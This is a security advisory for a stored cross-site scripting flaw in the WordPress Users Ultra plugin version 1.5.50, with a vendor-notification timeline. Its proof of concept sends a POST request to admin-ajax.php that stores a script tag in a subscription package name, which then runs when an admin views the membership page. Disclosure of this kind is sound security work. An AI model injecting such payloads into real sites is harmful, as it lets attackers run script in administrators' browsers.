WordPress Plugin Users Ultra 1.5.50 - Persistent Cross-Site Scripting

* Exploit Title: WordPress Users Ultra Plugin [Persistence XSS]
* Discovery Date: 2015/10/20
* Public Disclosure Date: 2015/12/01
* Exploit Author: Panagiotis Vagenas
* Contact: https://twitter.com/panVagenas
* Vendor Homepage: http://usersultra.com
* Software Link: https://wordpress.org/plugins/users-ultra/
* Version: 1.5.50
* Tested on: WordPress 4.3.1
* Category: webapps


Description
========================================================================
========

Once a user is registered he can add new subscription packages or
modify existing ones. No data sanitization is
taking place before saving package details in DB. This allows a
malicious user to include JS code in package name
and/or package description.

PoC
========================================================================
========

- - Send a post request to
`http://vuln.site.tld/wp-admin/admin-ajax.php` with data:
`action=package_add_new&p_name=a<script>alert(1)</script>`
- - Visit
`http://vuln.site.tld/wp-admin/admin.php?page=userultra&tab=membership`
as
admin or go to the page that
contains package information at front end.

Timeline
========================================================================
========

2015/10/29 - Vendor notified via email
2015/11/11 - Vendor notified via contact form in his website
2015/11/13 - Vendor notified via support forums at wordpress.org
2015/11/14 - Vendor responded and received report through email

Solution
========================================================================
========

No official solution yet exists.